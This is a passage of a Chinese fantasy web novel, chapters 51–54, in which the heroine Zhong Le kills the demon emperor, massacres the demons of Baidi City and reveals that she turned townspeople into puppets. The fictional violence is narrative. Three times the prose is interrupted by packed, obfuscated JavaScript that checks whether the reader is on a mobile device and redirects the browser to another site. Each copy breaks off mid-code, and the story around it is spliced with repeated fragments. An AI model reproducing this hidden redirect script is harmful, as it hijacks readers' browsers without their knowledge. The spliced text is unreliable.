“遭报应了吧,哈哈哈哈哈哈,原来,老天是有眼的!” “没想到啊,这报应比我们所预想的来的还快!苍天有眼,我人族同胞,你们看到了吗?白帝城千万亡灵,你们看到了吗!” “哈哈哈哈哈哈,哈哈哈哈哈哈哈!” “我杀了、我杀了你们,你们到底做了什么!”宣离红衣飞扬,怒喝出声,白帝城群妖瑟瑟发抖。 “不,不是……不是他们!”钟乐神情痛苦,面色苍白,努力握住他的手。 “拜鬼忧,你……你为何要这样对我?” 54. 第51章 拜鬼忧! 宣离瞳孔猛地缩小。 阿乐和他无冤无仇……不! 宣离想到了,阿乐并不是和拜鬼忧没有关系,阿乐是他心爱的女子,而拜鬼忧又一直恨着他,所以,拜鬼忧也恨上了阿乐。拜鬼忧没有办法杀了他,所以就想办法杀了阿乐,让他痛苦终生! “拜鬼忧,我没想到你今日竟然会出手……你!”宣离恨极,化出凤凰原身,卷起熊熊烈火,直烧向拜鬼忧。 “宣离,你冷静点,不是我!是她有鬼!”拜鬼忧躲避,喝道。 蛮荒怔了一瞬,随即冷笑起来,这个凡人女子,他以为她完全在他们妖族的掌控中,他们一念之间,就可以轻松决定她的生死。他们让她做什么,她就得做什么。可是,现在好像变得有些不一样。 他一掌拍出,宣离重重摔落在地。 “钟乐,你有什么目的?你以为,这样便可以轻巧离间他们二人?” 宣离如遭雷击,半跪在地上,不可置信的:“阿乐?” 他的声音带着迫切和微微的颤抖,似乎在求证,在期盼着她解释。钟乐闭了闭眼,再睁开时,已全然换了一副神色。她不看宣离,微笑着擦去嘴角血迹,毫发无伤的走到妖帝面前。 “蛮荒,妖怪长生不老,区区红尘凡人的命,在你们眼中,恐怕如蝼蚁吧?” 蛮荒说:“什么意思?” 钟乐环视这九龙台:“看来你果真忘了。我姓钟,名乐,我的爹爹,名为钟子胤,当年,你用噬骨钉生生将他钉死在这九龙台上。我的阿娘,忧若,在你的逼迫下选择了跳下城楼,白帝城数十万百姓,被你手下妖怪生生屠杀,九日九夜,血流成河。” 眼前明月皎洁,让钟乐想起十五年前的那个夜晚。同样的一轮明月下,妖怪们杀人杀的累了,杀的乏味了,于是不只单纯的杀人,他们开始虐杀。在圆月光辉下,将一颗颗人头砍下来,当做皮球一样抛来抛去,那一双双未曾瞑目的眼,如今,就埋在他们脚下的大地中。 “十五年了,蛮荒,我已经等了很久、很久了,如今我终于来了。”钟乐伸出手,数里之外的寻乌镇中,参商剑受她召唤,吟啸着飞到她的手中。 不只是否因感知到今夜将有一场大厮杀的缘故,参商的剑气比往日森冷许多、也锐利许多。 “原来是你。”蛮荒大笑起来,对了,钟子胤的女儿,她姓钟! “可是,那又怎么样?十五年前是我疏忽,你才侥幸逃了出去,十五年后,你也仍旧没有机会战胜我。” “是吗?”钟乐挑起眉头。 一阵狂风刮了起来,这是二人汹涌流转的法力所致。 钟乐红衣飞扬,手执黑剑,眼神中流露出自信与无畏,与方才娇羞带怯的柔美神态不同,可是,却让人觉得她更美了。一种擦干净明珠上的蒙尘之后、真正光华四射、锋芒毕露的美。 拜鬼忧反应最快,或许也是想在妖帝面前立功表现,他脚尖一点、双手成爪向钟乐挖去,可是,却被一个东西阻挡在了外面。 “结界?” 钟乐弯起嘴角:“而且,是你永远也破不了的结界。” 拜鬼忧也弯起唇角:“不、可、能。” 钟乐不再与他废话,任他在结界外徒劳施法。不过,宣离红着眼尾、满脸仇恨的也开始试图破开结界,倒让钟乐颇有些吃惊。她还以为他对她的爱,足够让他挣扎足足数天呢。不过,即使他来帮拜鬼忧,那也没什么关系。 但看到那个赶来的白色身影,也同样帮助他们破结界,钟乐的神情中浮起些难得的惆怅。 “钟乐,准备好死了吗?”她所设的结界确实让蛮荒有些吃惊,自己的三个儿子竟然都奈何那结界不得。 不过,敢和他做对,那她只有一个结果——死! 两股强劲的法力碰撞,结界内飞沙走石,爆发出灼目的白色光芒,刺的人什么都看不清。仿佛有一只沉重如山的手掌朝所有人压下来,白帝城法力微弱一些的妖怪们忍受不了这种强大的压迫感,在原地无法移动,口鼻中流出黑色的血液。 大地隆隆作响,不停摇动。 突然,天空一声巨响,竟是妖帝以凤凰之形引出了天雷,一道又一道,直朝结界内劈下! 白帝城群妖们以为钟乐这下必死无疑了,妖帝的杀手锏都使出来了! 可是,他们很快发现,结界中透出一道金光,且越来越亮,直向天雷击去,仿佛要刺穿道道天雷。时间的流逝变得很快又很慢,仿佛才刚刚开始,又仿佛已经度过了三年五载。这时,群妖们听到了妖帝蛮荒不可置信、声嘶力竭的咆哮:“不可能,不可……” 万籁俱寂。 所有光芒熄灭,红衣黑剑的身影清晰的出现在所有人眼前。 那剑尖上,滴滴答答的落着血。她手中,拎着一个圆圆的…… 群妖爆发出惊天动地的呐喊。 宣离一双眼睁圆到极致,似乎不相信,可是,明月下,那东西清清楚楚映入他的瞳孔中,那是……妖帝蛮荒,他父王的,头颅。 “她杀了妖帝!她杀了……”群妖目眦欲裂,哭天喊地,“杀了……” “妖帝!!!!!” 钟乐扬唇微笑,高高举起蛮荒的头颅。尘缘镜将这一景象放大,白帝城下的修士和百姓们清晰看到这一幕,纷纷惊呆了,然后,爆发出一阵经久不散的狂喜呐喊。 “妖帝已死!妖帝已死!” “兄弟们,随我杀入城中!” “杀啊!” 修士们和群妖厮杀起来,而九龙台上,钟乐松手,蛮荒的头颅掉入下方混乱中,不知被谁的脚踩过来、又被谁的脚踩过去,最终化为一片血腥的泥泞。 宣离看着她,从没有觉得她如此明媚鲜妍、意气风发过,也从来没有这么仇恨她过。她还穿着他亲自选择的嫁衣,戴着他亲手挑选的发簪。他痛苦嘶喊:“钟乐!!!” “原来你已经如此强大。”拜鬼忧忽然卸去焦急面孔,气定神闲负手而来。 “我杀了你父王,你不恨我?”钟乐挑眉,剑尖上的血滴还在不停滚落。 “或许是有一点点的,可是,那是什么很重要的东西吗?”拜鬼忧吐气魅惑,“你有胆识,有谋略,也有一身好法力。不如,考虑与我联手。” 钟乐:“哦?” 拜鬼忧微笑:“你杀了妖帝,得到凡人的支持与拥戴,而我乃妖帝之子,是最有资格成为下一任妖帝、号令群妖的人,你我联手,便可以共同凌驾在人与妖之上,届时我为帝,你为后,整个天下,都是我们的囊中之物。” 钟乐微笑:“很好。” “可是拜鬼忧,你真的觉得,这世上只有权力才最美妙吗?” 拜鬼忧眸中寒光一闪,但他迟了一步,在他的凤凰利爪掏出钟乐的心前,钟乐的剑已先一步斩下他的头颅。宣离双眼发红,惨叫出声:“二哥——” “你看,他根本不在乎你们的亲情,只要有权力,就算你死了,他也不会在乎。更遑论,他本来就几次三番的想要杀掉你,你不记得上次你被他重伤的事了吗?还是我救了你。”钟乐叹气,“可他真的死了,你却又这么伤心,宣离,你到底还在渴望什么?他从来就没有在乎过你。” “杀了我。” “……宣离。” 宣离哑声:“钟乐,杀了我。” 钟乐手浮灵光,将两条捆妖索穿透宣离琵琶骨,将他束缚起来。宣离疼的冷汗滚落,却一声痛都未呼出,只是用他那双墨一般漆黑的双眸直勾勾的注视着她。 钟乐觉得十分不自然,拍晕了他。 九龙台一下子安静下来,钟乐这才终于有机会,转向自始至终,那个并不引人注目、却又处处牵动着她神思的白衣身影。 她步步走近,神情恍惚,声音也变得轻轻的:“清颢。” 妖帝第一子清颢,一身白衣,周身清辉淡淡,眸如月,容如春风,和十五年前一样,带着轻轻的悲伤与慈悲:“是你。” 钟乐喜道:“你、你认出我了?” 清颢闭上眼,点头。 十五年前,白帝城为蛮荒所破,钟氏夫妇不惧不畏,直面蛮荒。离开之前,他们用法力将钟乐藏在了寝宫中的一面菱花镜中,而后,钟氏夫妇不屈不降,惨死在九龙台和城楼之下。满城百姓无人低头,蛮荒大怒,下令,杀——杀尽城中人! 蛮荒深恨钟氏夫妇,命令尤其要找到他们的女儿,将她折辱至死,才能解他心头之恨! 钟乐藏在菱花镜中,看到外面火光滔天,听到外面响起她一城百姓的惨叫,恨的泪珠滚滚,同时,也很害怕,小小的身子蜷缩在一起,不停的抖动着。 爹爹和阿娘嘱咐过,要等到潜姨来接她才可以出来,否则,谁叫都不能现身。可是,钟乐不知道,潜姨也早已经死在了妖怪的残害下。 她等了很久很久、很久很久,在又惊又惧中变得绝望、奄奄一息。 我是要死了吗? 爹爹,阿娘,潜姨,你们在哪儿? 乐儿…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187255|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要死了吗? 正在这时,有一双手打破法术,将她从菱花镜中抱了出来。钟乐一时间被吓坏了,眼泪不停的掉,她问眼前的妖怪:“你是要杀了我吗?” 她很害怕,很害怕真的死掉。她想活着,想报仇,想努力生活。天空很蓝,草地很绿,白云很柔软,溪水很清凉,鱼儿很活泼,白帝城的百姓很善良。她想活着,这个世界真的很好很好,她想好好的生活着。 可是,爹爹和阿娘说过,士可杀,不可辱。 她虽然想活着,可是,她不想屈服于妖怪,更不想对他们下跪、求情。 于是她咬了咬牙,小小的身子推开这只妖,自己站起来,虽然在控制不住的颤抖,可是又努力将背挺的很直。她小小的、苍白虚弱的面孔上浮现出坚毅之色:“你要杀了我的话,我有一个要求。” 这个妖怔了一下,和缓的笑道:“什么要求?” 她更用力的挺直腰背:“我要,站着死。我不愿意对你们下跪。” 他笑了。 “我不杀你。”他说。 “可是,我、我不会屈服于你们的!”她很开心,这只妖怪和别的妖怪有种不一样的感觉,他虽然是妖,可是他有一种温柔的感觉。 他说:“我不需要你的屈服。” “可是……”她不解,“你们杀我们,不就是为了赢吗?不就是为了……掌管我们、当我们的王吗?”说着,眼圈红了。 他似乎是轻轻叹了口气:“或许他们是这样,但我并不是。” 他带她离开了白帝城。 他好像在群妖间十分有身份,妖怪们都很尊敬他。彼时钟氏夫妇的女儿还未找到,妖帝下令封闭城门,没找到那小女孩之前,一只苍蝇都飞不出白帝城。可是,他仍旧做到了,他离开了白帝城。 他带着她在天上飞,那是她第一次飞,虽然还在难过,可是也忍不住的好奇:“你会飞?你是一只鸟妖吗?” “是,”他说,“我是凤凰。” 此时他们正好落地,钟乐发现这是一座小小的、鲜花盛开的岛屿。 她问:“这是哪里?” 他答:“蓬莱岛。这里没有妖怪,你可以安心的住在这里。” 说罢,他从衣襟之中拿出一个油纸包,打开,一股扑鼻的香味散发开来。而不知多少天没有吃饭的钟乐,肚子很应景的,咕咕响了起来。她有些尴尬的接过他手中的酥香的掉渣的烧饼,大口大口吃了起来。 他转身离去,宽大的白衣微微飘动。 钟乐忍不住叫道:“凤凰!” 他的背影停下来,钟乐用力的将这一口烧饼咽下,跑到他的身边:“凤凰,你叫什么名字?” 他一开始并不愿说,后来或许是觉得反正此生他们也不会再见了,于是答道:“清颢。” “清颢……”钟乐喃喃念了两遍。 “我记住了。” 清颢笑道:“记住又如何?” “我知道,你是妖帝的儿子。”钟乐郑重的说,清颢愣了一下。 “我知道,妖帝很坏,他杀了、杀了我爹娘,杀了我们白帝城的百姓,我很恨他,终有一日,我会去找他报仇的,可是,清颢,你虽然是他的儿子,但你和他不一样。你们的眼睛都很黑,可是他的眼睛很可怕,你的眼睛却很温柔,你救了我,我很感激你。” 清颢语气有些僵硬:“那又如何?你知道我们是仇人。” “如果将来有一天,我会报答你的。” 清颢笑了,那么一天?他并不认为会有那么一天。 “清颢!”清颢走了,钟乐在下面大喊:“你会把这里告诉妖帝吗?” “不会,”清颢已飞上九天,声音却随着微风,轻轻的落下来,“你只不过是个,可怜的无辜孩子。” “清颢,谢谢你,让我活了下来。”十五年了,故人再见,他还是和当初一样,没什么变化,而她却已经长大了。他以为她不可能有能力杀了妖帝,却没想到,她早已足够出色、也足够强大。 “你会杀了我吗?钟乐。”清颢轻声说,可并不像是恳求,也不像是在害怕。 钟乐朝他走近一步,伸出手,轻轻抚上他的额头,指尖描摹他眉心中鲜红的凤凰图腾。 “如果你不是妖帝的儿子,该多好。” “可是,你放心,我当年既说过要报答你,我就绝不会食言。” “清颢,我不会杀了你。” 宣离不知何时苏醒过来,跪在地上,癫狂的大笑起来。 55. 第52章 妖帝已死,妖帝三子也或被杀或被囚,群妖们士气散尽,纷纷溃逃。 可是,很快,他们就绝望的发现,他们逃不出白帝城! 白帝城外,被设了一道结界,结界十分阴森,围绕着黑色煞气,也十分坚固,任谁都无法击破。 “这……这和她方才困住妖帝的结界一样!”有妖发现了,惊恐的瞪着钟乐。 钟乐红衣飘飘,从九龙台上落下:“不错。” 这只妖人头落地,周围的妖怪们发出惊天动地的哭喊声。 修士们都已为钟乐所折服,纷纷敬佩的听从她号令道:“现在我们该做什么?” 钟乐微笑:“杀。” “什么?” “——杀尽天下妖。” 十五年前的景象在白帝城重新上演,只不过,这次不是妖杀人,而是人杀妖。这次的屠杀时间比上次短暂,只花了三天三夜,就杀绝了城中所有的妖怪。 血流成河,尸横遍野,修士们掌心火焰喷出,将群妖的尸体烧作飞灰。与此同时,白帝城一事在天下引起轩然大波,原本趾高气昂、肆意妄为的妖怪们,变得战战兢兢,风声鹤唳,开始了躲避和逃亡。 而钟乐经此一战,可谓名扬天下,功与天齐,自此之后,被称作“天师”。 楚欢和公冶侯来到白帝城的时候,正碰上钟乐和修士们在焚烧那些妖怪的尸体。 楚欢大声说:“对不起!” 钟乐笑眯眯:“没关系!” 这桩误会就算是过去了。可是,楚欢还有一件很重要的事:“寻乌镇不对劲。” 众修士奇道:“怎么了?” “那里面的百姓们一个个神情呆滞,如同木偶,就好像被人抽去了精魂。而且,我们发现,”楚欢和公冶侯对视一眼,凝重道,“他们的脖子上,都有一道细细的红线,就像是一丝血迹。我们怀疑,妖帝对他们施了什么可怕的法术。” “这……” “从未听说过……” 众修士面面相觑。 钟乐道:“是我。” “你?” “嗯,”钟乐点头,“其实,他们早就已经死了。” 那些人脖子上之所以有道红线,是因为,他们的头颅是砍下来之后再重新安上去的。他们的魂魄已经不在身体内,之所以还能行走,还能说笑,是钟乐用傀儡之术在操纵着他们。 “所以很早之前,他们说话、饮食、活动,就是由你在操纵了?”楚欢心头一跳。 钟乐点头:“不错。” 妖帝未死之前,她不想让宣离看出寻乌镇的破绽,所以操纵着他们,让他们表现的和往常无二。现在妖帝已死,那些傀儡们也就没有再伪装下去的必要了。她也就不再浪费心力去操纵他们,傀儡便漫无目的,状如木偶。 “你……”楚欢平复了下心神,“你为什么要杀了他们??” 为什么?钟乐说:“其一,他们虽是我族凡人,可他们却归顺妖帝,唾弃我族,这些人,死了也不足惜。其二,我杀他们,当然不是因为我单纯的想杀他们,而是我需要他们——这次与妖帝一战,我所设的结界之所以坚固不破,就是因为他们。我的法力较之以往有了很大提升,也是因为他们。” “他们被杀之后,魂魄饱含怨气,我便将这股怨气将化为法力,为我所用。” “可是……”楚欢犹豫了一下,他们毕竟只是手无寸铁之力的凡人。 小小凡人,在天道大势之下,是没有多大选择的。 他们归顺妖帝,或许也是无奈之举,因为每个人都会有自己所爱的、想要保护的人。 钟乐杀了他们,她、她总觉得有些残忍。 “可是怎样?”钟乐挑眉。 楚欢摇了摇头:“没什么。” 除妖是她所愿,钟乐做到了她一直想做却又做不到的事,她又有什么资格对钟乐一直挑刺? 公冶侯站在一边,看到楚欢勉强的笑意,小声说:“楚公子,你还好吧?” 楚欢怔了片刻,道:“公冶,你想留在这里吗?” 公冶侯犹豫了一下,留,还是不留? 现在天下修士都在往白帝城赶来,他们将在钟乐的号令下,齐心合力,斩尽天下妖。可是…… 公冶侯说:“我不留。” 楚欢眼前一亮。公冶侯说:“我们到外面去杀妖,我们自己去杀妖。” 楚欢一下子很高兴,他真的知道她在想什么,她激动的说:“好!” 他们也要杀妖,他们和钟乐所做的事情是一样的,可是,却又好像不完全是一样的。他们不和钟乐一起,他们自己去。 - 楚欢和公冶侯告别离开后,钟乐一度十分忙碌。全天下壮志满怀的修士都汇聚在白帝城,钟乐身为前城主之女,又兼亲手杀死了妖帝,理所当然的接管白帝城、成为城主。 修士们成立了“斩妖司”,开始广纳弟子,向他们传授御剑之术、傀儡之术等可以对付妖怪的方法。同时,百姓也纷纷慕名来到白帝城定居,因为这里现在是全天下最安全的地方。 钟乐整日忙来忙去,累的一回到寝宫就立马睡死过去。 大仇得报,她期待着爹娘会入她梦来,欣慰的摸一摸她的头,再像小时候那样将她高高的抱起来,放在爹爹肩头。可是,他们一次都没有出现在她的梦中。 她将寝宫改造,变成了和小时候完全不同的模样。她想,过去的已经过去了,现在她要重新开始,她有满腔壮志豪情,并不想一味被过去的悲伤牵绊。 在此之外,她让自己变得如此忙碌,也是因为想逃避另一些事情。 可是,终究不可能一直逃的下去啊。 这日傍晚,衡阳问她道:“牢狱中的那两只妖,已经足足关了一月了。城主,你打算怎么处置?” 钟乐正在吃饭,爹爹和阿娘还活着时,她被他们管束,不能挑食,如今他们不在了,她将不喜欢的鱼啊虾啊都丢在一边,只挑拣喜欢的菜肴吃,听衡阳如此说,她放下筷子,牙疼般搓了搓脸。 衡阳道:“城主在烦恼?” “很烦恼!我不想面对他们!我简直是害怕他们!”钟乐愁眉苦脸的说。 衡阳笑了:“城主以一己之力,斩杀妖帝,扬名天下,却怎么会害怕区区两个阶下之囚呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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在父王面前,拜鬼忧收敛许多,不敢再明目张胆的杀他了。而且,宣离慢慢发现,在父王的三个儿子中,大哥虽聪慧通透,可是太过淡泊,没有野心,父王不喜欢他。拜鬼忧虽野心勃勃,却有些太有野心了,手段阴险,没有情义,父王也不喜欢他。 到后来父王最喜欢的,竟然成了自己。 其实,他没有那么想当妖帝,没有那么想号令群妖、称霸天下。他只是想一家人和和乐乐的生活在一起。 但,这个愿望,再也不可能实现了。 “因为,我许的愿望就是让你的心愿实现……宣离,我愿你得偿所愿。” “我只是太高兴了,宣离,我答应你。” “我永远都不会背叛你。” “我们成亲吧。” 宣离惊魂未定的从噩梦中醒来,忽然觉得不对劲。他抬起头,果然看到黯淡的牢狱外,有一袭火红的红衣,那个面孔曾经那样熟悉,如今却那样陌生。他拨开汗湿的发,讽笑:“你来杀我?” “不是。”钟乐十分尴尬的晃了晃手中的酒坛子,“我就是来看看你。” 56. 第53章 宣离扬手,接住钟乐丢进来的酒坛子,打开,酒香四溢。 他喝下一大口,淡淡的问:“为什么要这样对我?” 钟乐咳了一声,说:“其一,我的目标是妖帝,可是如果我试图闯入白帝城,那么,城中许许多多的群妖就会首先拖住我,白白消耗我的法力,所以,我需要一个名堂,能毫不费力的直接进入白帝城,直面妖帝。” “其二,在我以前的寝宫中,有一面菱花镜,我通过镜子反射的景象,得知了你和拜鬼忧不和。这也是一个刚刚好的机会,我可以趁机离间你们二人,呃,当然,离间的结果是失败,不过那也没关系,因为我本来也没有指望着离间之计能派上多大用场,我要的,是自己光明正大的杀了妖帝。” 宣离握着酒坛的手下意识攥紧,钟乐都怕他将这瓷坛子捏碎。 她忙快速的将话说完:“而我为什么选择了你,这是其三。宣离,你是个孩子,你一直都是个孩子。你不像清颢那样慈悲,不会和他一样,坚决不杀一个人,不让自己的手沾染上鲜血。而你也不像拜鬼忧那样狠心,你没有他的决心和野心。妖帝重新重视你这个儿子,你就帮他攻下白帝城,他让你杀人,你就杀人。其实你不恨那些人,你也不爱那些人,你杀他们,因为那是你爱的人命令你做的。所以,我假装自己爱上你,果不其然,你爱上了我,然后,我们举行大婚,我顺利进入白帝城,再然后,借这个风风光光的机会,让全天下人都看到,我是如何斩杀了妖帝,宣离,你知道吗,这场大婚,是我的舞台……” “够了。”宣离苦涩的说。 “可是那盏花灯,你许愿说,希望我得偿所愿。” 钟乐干咳:“不,那时我许的愿是,我能够顺利灭了妖帝。” “楚欢质问你时,你说,你爱我。” 钟乐又咳了两声:“那只不过是演戏罢了,我知道你在听,所以故意那样说。”当然,楚欢并不知道她是在演戏,不过这倒让这出戏更加逼真了。 “你说,凤凰非梧桐不栖,你亲手为我种了一棵梧桐树。” 钟乐愈发心虚了:“那是……我随便买了银杏树的种子,骗你的。” 宣离慢慢的笑起来,自嘲的说:“钟乐,你真的,就没有一丁点难过吗?” 钟乐说:“我最难过的时候,是五岁那年你们毁了白帝城。” 至于宣离,本来一切都只是伪装,是她进入白帝城的一个幌子,她又没有真爱上他,怎么会难过?而且,如今她亲手杀了妖帝,她觉得每天都吃的更香、睡的更好了,每日清晨一睁开眼,想到斩妖司马上就能斩尽天下妖,她简直高兴的浑身都干劲满满,怎么会难过? “可是,我向你求亲的那夜,为什么,你要哭?”宣离突然嘲讽的弯起嘴角,漆黑的眸子直勾勾望着她。 钟乐怔了。那时,她的确是哭了,可是…… 为什么哭? 她发现自己不知道。 宣离爱上了她,她的计划马上就能实现了,她应该很高兴的答应才是。可是,为什么那时候她却那么伤心?她在伤心什么? 这可真是太奇怪了。 钟乐一时间坐下来,捧着头冥思苦想,可是怎么也想不出个所以然来。她叹了口气,算了,不想了。眸光一转,顿时被吓了一大跳:“宣离!” 这只傻鸟,竟然不知何时摔碎了酒坛子,用其中的一瓣瓷片割开了他的手腕。他的妖丹被封,法力全无,此时和凡人无异。他这么做,简直是在找死! 钟乐忙挥开狱门,冲进去将他抱起,用法力止住血,撕下一片衣服将他那伤口包扎起来。忽然,她的后脑勺被宣离狠狠下压,还没反应过来之时,一双火热的嘴唇已经贴了上来。钟乐睁圆了眼睛。 正巧这时,一个小修士拎着两盒饭菜给这两个妖怪送来,城主嘱咐过,不可虐待他们。 结果没想到,这样一幕闯入他的眼帘。 那妖怪本就雪白,如今愈发苍白妖冶,他的长发凌乱散开,与城主大人的长发交织在一起,他躺在她怀中,却又掌控着吻住她,地上鲜红的血液蜿蜒,显得旖旎又诡丽。 “吧嗒”。 小修士流下两行鼻血,手中的饭盒摔落在地。 钟乐回过神,恼羞成怒的推开宣离:“你!!!” 小修士很慌:“城、城城城城城主!我什么都没有看到!什么都没有!” 钟乐也很慌:“你、你别误会!” “我、我我我我我当然不会误会!我、我我我我我我想起还有晚课未上,我走了城主!”小修士面红耳赤的吸溜着两道鼻血,落荒而逃。 钟乐:“……” “我杀了你,宣离!”她咬牙切齿的说,唇上还沾着殷红的鲜血,方才也不知道是谁咬了谁。 宣离哂笑:“杀啊。” 钟乐:“别以为我不敢!” 宣离说:“我知道你敢,你不就亲手在我面前杀了我父王吗?” 钟乐沉默下来,站起来,恶狠狠抹了抹嘴唇。 “钟乐,你根本就不懂爱。”宣离忽然疲惫的说。 谁说的?钟乐气呼呼反驳:“我只是不爱你,因为这从来都是逢场作戏!” “不,”宣离说,“你不只不爱我,你根本就不会爱人。” 傻鸟!他自己就是个被她骗的团团转的傻子,又有什么本事对她这么说?钟乐重重的合上狱门,拎起剩下的两只酒坛子,宣离说:“你去找清颢吗?” “我找他又怎样?” “你惦记了他十五年,你爱他吗?” “什么?”钟乐被惊的瞠目结舌。对于五岁的她来说,当时的清颢,虽然是只妖怪,却和神仙无异。他带她逃离白帝城,带她来到隐居避世的蓬莱岛,她很用心的记住他的名字,并下定决心将来一定会回报他。 可是,那又怎么样? 清颢再像神仙,他还是一只妖怪,更别提,他是妖帝的儿子。 她怎么会爱上他? 真是太荒谬了! 可是不知为什么,宣离的话就好像一颗石子砸进了平静的水面,让她的心像荡漾的水波一样,十分晃动与不安。她告诉自己她不可能爱清颢,可是,她就是控制不住的往这个方向想。都怪宣离! 钟乐举起酒坛子,咕嘟咕嘟将其中的酒喝了个干净,然后将酒坛子往地上一摔,狠狠一抹嘴,为自己壮了壮胆。 可是,最后,她还是退缩了。 他是她仇人的儿子,而如今她变成了他的杀父仇人……这样复杂的关系,此时实在没有什么可说。 彼此见面,不过互相仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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念念生在她的衣服上用了一些用磐石草研磨、炼制而成的熏香,别人闻见了,很快就昏昏欲睡、然后再彻底睡死过去。 钟乐蹑手蹑脚打开牢狱大门,抖动抖动衣服,让磐石草熏香散布到这里的每个角落。 然后她终于可以气定神闲,光明正大的走进来。 结果当看清眼前景象,钟乐的眼睛瞪大了! 只见宣离整个人比以往消瘦了整整一圈,嘴唇干裂苍白,身上交错着鞭痕、烙铁印迹、棒打伤、刀刺伤,明显就是被人用残酷手法折磨过。她又惊又气,忙进去给他输了些法术到体内,可是,又不敢输的太多,怕他冲破了妖丹的封印。 想了一下,钟乐用传音灵蝶将念念生唤了过来。 念念生背着他那只大药箱赶进来,一看,就知道是怎么回事,忙为宣离医治包扎起来。 钟乐说:“你知道这事吗?” 念念生一脸为难,钟乐冷哼一声,已经懂了七八分。 磐石草的药效过去,宣离好似醒来了,但因为本来就有重伤,神志仍旧迷迷糊糊的。 他喃喃:“阿乐……” 钟乐靠近去听,他的呢喃却突然停止,冷冷的道:“我恨你!” 钟乐一惊,倒不是因为他的仇恨,而是她忽然想起了清颢! 她转身就跑,身后宣离很可怜很小声的呢喃:“你别走……” 钟乐抱着清颢离开了牢狱。 57. 第54章 钟乐问衡阳:“斩妖司最近如何?” 衡阳微屈下身子,很恭敬的说:“很好,斩妖司大放异彩,如今,妖怪们已是强弩之末,只是……”他微微一笑,似乎欲言又止。 “只是什么?” “越过南海之滨,有一块地方,终年冰雪覆盖,寸草不生,被视为不毛之地,又称做极地。现如今世上还剩下的妖怪们,有许多就藏匿在极地中。” 他这么说,一定是有隐情了,钟乐说:“怎么?极地中的妖怪不好捉?” 衡阳苦笑:“不错,因极地天寒地冻,环境恶劣,路途遥远艰辛,许多捉妖师并不愿去那里。即使有十分热血的捉妖师愿意去,也大都……有去无回。” 哦?这样看来,那极地倒是个十分神秘又十分危险的地方了? 钟乐挑了挑眉,说:“我去吧。” 钟乐要去极地的消息轰动了整个白帝城。一方面,大家都很高兴,极地十分黑暗可怕,去的人有去无回,无人知道它里面究竟是何种模样,究竟隐藏了多么可怕的妖怪。而此次钟乐一去,大家就放心了。钟乐必能凯旋而归,将里面妖怪杀的一干二净。 可是,另一方面,大家都很担心,纷纷求她不要去,说是她走了,他们怕白帝城不安全。 钟乐自然是哈哈大笑,说如今妖帝已死,群妖被追杀的七零八落,斩妖司强悍无比,大家大可不用担心。 可是,相比于衡阳,大家明显更信任她。 但为了大局着想,大家还是依依不舍的和钟乐告别、目送她离开了。 她离开之前,说是自己此去也不知何时才能回来,故先将白帝城主之位也传于衡阳。大家都赞她大义无私,不贪恋权力,可是,大家却不知道,当只剩了钟乐和衡阳二人时,她冷冷一挥手,衡阳便跪在了地上,口角流出鲜血。 钟乐慢吞吞的说:“是你做的?” 衡阳平静的说:“是手下的小修士不老实,趁着送饭的机会动了手脚。” 手下的小修士?若是无他允许,他们又怎敢擅自做出决定?钟乐为他的自作主张冷笑,可是,心中却其实并不多么厌憎衡阳。当初大家呼声很高,认为斩妖司也该由她掌管,她却觉得这既是权力,也是责任,拿的越多,担当的也就越多,于是只当了城主,而将斩妖司交到了衡阳手中。 衡阳一开始是不被看好的,虽然后来,他将斩妖司管理的井井有条,慢慢得到了一些认可。可是现在看来,只要她还在,他就永远比不上她。 钟乐说:“我走了,你不用再用这种小气的方法表达不满。” 衡阳没有说话。 钟乐说:“你仇恨妖怪,我也仇恨妖怪,其实,我们是很像的。而且,你比我更年轻,比我更有雄心壮志,我期待着,你可以闯出一番属于自己的天地。” “至于那两只妖怪,我答应过清颢不会杀他,所以抱歉,他不能死,但是宣离……”钟乐叹了口气,心想这样一直关着他,毕竟不是办法,而且,他的心中充满了仇恨,还是早些解决为好。 “宣离就交给你,按你心意……” “杀了他。” - 钟乐坐在马车前,捻起一朵雪白的柳絮,又吹开。 她问车厢里的人:“累不累?” “不累。” 钟乐忽然有些好笑。一路走来,遇到的人都以为这车厢里坐着一个娇小姐,却无人知道,这里面坐的其实是位娇公子。但若说清颢生来就是娇公子嘛,又不全对。清颢虽温柔,却并不孱弱,如今他变成这样一步三喘、弱柳扶风的模样,钟乐得担大部分责任。 其一,自然是衡阳在狱中偷偷对他进行的各种折磨,让他痛苦的死去活来,念念生用了好几桶草药,才让他稍微好了一些。 而其二嘛…… 素白的车帘上用金线绣着朵朵莲花,钟乐挑起帘子:“时候差不多了吧?” 里面顺从的伸出一只手,袖子挽起,手腕纤细。 钟乐划破手指,指尖鲜血渗出。她沾着这血在清颢手腕上画了一个鲜红的符咒——这是念念生教她的“子母咒”。画完此咒后,她便为“母”,清颢为“子”,一旦清颢离开她十丈之外,他的妖丹便会开始生出裂痕,若此时他仍不及时回到十丈之内,他的妖丹便会彻底碎裂,直至元神散尽,不得往生。 有了这子母咒,钟乐便不用担心清颢会伤害无辜凡人。 当然,还有一法,便是以法术封印清颢的妖丹。不过此法虽也可取,但对清颢身体的损害要远大于子母咒,若长期使用,只怕他会更加虚弱,法力在封印下一丝一丝流逝、衰竭,最后成为一滩死水。 本来,极地虽远,但若是钟乐使用御剑之术,不出一个时辰便能到达。 